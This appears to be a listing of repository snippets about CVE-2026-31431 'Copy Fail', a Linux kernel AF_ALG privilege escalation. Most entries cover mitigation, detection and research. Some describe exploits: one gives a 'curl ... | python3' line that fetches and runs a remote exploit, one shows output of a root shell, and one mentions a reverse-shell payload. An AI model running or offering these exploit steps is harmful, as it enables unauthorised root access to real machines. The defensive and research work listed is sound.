cve-2026-31431

CVE-2026-31431 — "Copy Fail": Linux Kernel algifaead Local Privilege Escalation CISA KEV | CVSS 7.8 HIGH | Affects Linux kernels 4.14 – early 2026 9 years Table of Contents 1. Executive Summary 2. Risk Assessment 3. Technical Deep Dive 4. Attack Methodology — Red Team 5. Detection & Incident...

copy-fail

CopyFail Mitigation CVE-2026-31431 - Multi-Distribution Guide This repository contains detailed tutorials and scripts to mitigate the CopyFail vulnerability CVE-2026-31431. This flaw affects the Linux Kernel cryptography subsystem AFALG and allows local privilege escalation LPE from a regular use...

cve-2026-31431-checker

CVE-2026-31431 Copy Fail Detection Tool A comprehensive detection and analysis tool for CVE-2026-31431 "Copy Fail" vulnerability in Linux kernels. ⚠️ IMPORTANT DISCLAIMER This tool is for DETECTION ONLY. It does not exploit or modify any system files. Only reads system information and configuratio...

Paranoid-Dirty-Frag-CVE-2026-43284

Dirty Frag mitigation script This script: 1. Blocks vulnerable kernel modules from loading 2. Unloads them if currently active 3. Verifies mitigation status WARNING: Disables Linux IPsec ESP support esp4/esp6 and RxRPC support. This may break: - strongSwan - libreswan - some enterprise VPNs -...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 — "Copy Fail": Linux Kernel algifaead Local Privilege Escalation CISA KEV | CVSS 7.8 HIGH | Affects Linux kernels 4.14 – early 2026 9 years Table of Contents 1. Executive Summary 2. Risk Assessment 3. Technical Deep Dive 4. Attack Methodology — Red Team 5. Detection & Incident...

copyfail-arm64

Copy Fail ARM64 Research CVE-2026-31431 Analysis and ARM64 reproduction of the Copy Fail Linux kernel privilege escalation vulnerability CVE-2026-31431, originally disclosed by Xint. Blog post: Copy Fail on ARM64: Understanding and Porting CVE-2026-31431 What's Included File| Description ---|---...

copy-fail-CVE-2026-31431

CVE-2026-31431 Copy Fail exploit Author: pyroceper Tested on: Ubuntu 25.10 x8664 $ make $ ./exploit Detected kernel: 6.17.0 Making backup of /etc/passwd to /tmp Backup saved as /tmp/passwd.bak Obtaining root shell... id uid=0pwn gid=0root groups=0root whoami pwn CREDITS & REFERENCES: Original...

cve-checker-2026

CVE Checker 2026 Multi-OS vulnerability scanner for: CVE-2026-31431 — Linux kernel crypto/algifaead flaw CVE-2026-41940 — cPanel & WHM authentication bypass CVSS 9.8 Supported Operating Systems Family| Distributions ---|--- Debian| Ubuntu, Debian, Linux Mint, Pop!OS RHEL| RHEL, CentOS, AlmaLinux,...

CVE-2026-31431

🔐 CVE-2026-31431 - Kernel Exploitation Research Framework Modular framework for studying a Linux privilege escalation LPE vulnerability based on AFALG + Page Cache Injection techniques. 🎯 Objective This project is designed for: Research of Linux kernel vulnerabilities Teaching real exploitation...

alg_check

⚠️ Important Disclaimer: Structural Hardening Risks This tool implements Structural Blocking to mitigate CVE-2026-31431 by physically renaming kernel modules and purging them from memory. Before use, please be aware of the following architectural risks: Kernel Update Volatility : Hardening effects...

CVE-2026-31431

AFALG su memory‑patch exploit research A compact Python script that exploits an AFALG‑related kernel vulnerability to patch the su binary in memory and escalate privileges. This is provided for educational and research purposes only. ⚠️ Do not use this on any system you do not own or without...

Estudo-de-Caso-CVE-2026-31431-CopyFail

🐧 CVE-2026-31431 — CopyFail: Linux Kernel Privilege Escalation Complete Case Study — How it was discovered, how it works, how to test, how to replicate in a safe environment and how to fix the critical vulnerability that affects almost all Linux distributions since 2017. 🚨 Legal Notice / Disclaim...

cfDr

cfDr - Copy Fail Doctor C opy F ail D etection and R emediation An Ansible role and playbook suite for detecting and remediating CVE-2026-31431 Copy Fail, a critical local privilege escalation vulnerability in the Linux kernel's algifaead module. Repository 🔗 GitHub :...

block-copyfail

Summary CVE-2026-31431 "Copy Fail" is a Linux kernel privilege escalation vulnerability in the algifaead cryptographic interface. An attacker uses AFALG sockets with the authencesn algorithm and splice to corrupt arbitrary files in the kernel page cache — including setuid binaries like /usr/bin/s...

ubuntu-cve-2026-31431-mitigation

Complete Guide to Updating the Kernel and kmod in Ubuntu to Fix Security Vulnerabilities CVE CVE-2026-31431 This vulnerability, also known as Copy Fail, is a logic bug in the Linux kernel that occurs in the AFALG / algifaead path. According to the discloser, an unprivileged local user can cause t...

copy-fail-CVE-2026-31431-mitigation-ansible-playbook

CVE-2026-31431 Mitigation Playbook An Ansible playbook to apply and rollback the CVE-2026-31431 AFALG kernel module mitigation on both Debian/Ubuntu and RHEL/Rocky/AlmaLinux systems. Overview This playbook mitigates CVE-2026-31431 by disabling the vulnerable algifaead kernel module: Debian/Ubuntu...

CVE-2026-31431-copy-fail

Copy Fail Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017. Quick run: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user...

CVE-2026-31431-mitigation-suite

AFALG Defense Framework A kernel-runtime defense framework for the Linux AFALG Address Family Algorithm, family 38 subsystem. Built for Security Operations Centers running enterprise Linux fleets where Zero Trust must extend into the kernel, not stop at the network edge. Why AFALG matters to a SO...

CVE-2026-31431

CVE-2026-31431 Copy Fail — C PoC Trivial unprivileged LPE by writing 4 controlled bytes into the page cache of any readable file via a logic bug in AFALG kernel 4.14 → early 2026. Corrupt /usr/bin/su in-memory, then run it → root. Build & Run 1. Generate an ELF payload reverse shell example...

CVE-2026-31431

CopyFail CVE-2026-31431 Overview CopyFail is a proof-of-concept exploit for CVE-2026-31431, targeting a memory corruption vulnerability in the Linux Kernel Crypto API AFALG. The exploit leverages the splice system call to perform unauthorized page-cache patching of the /usr/bin/su binary, enablin...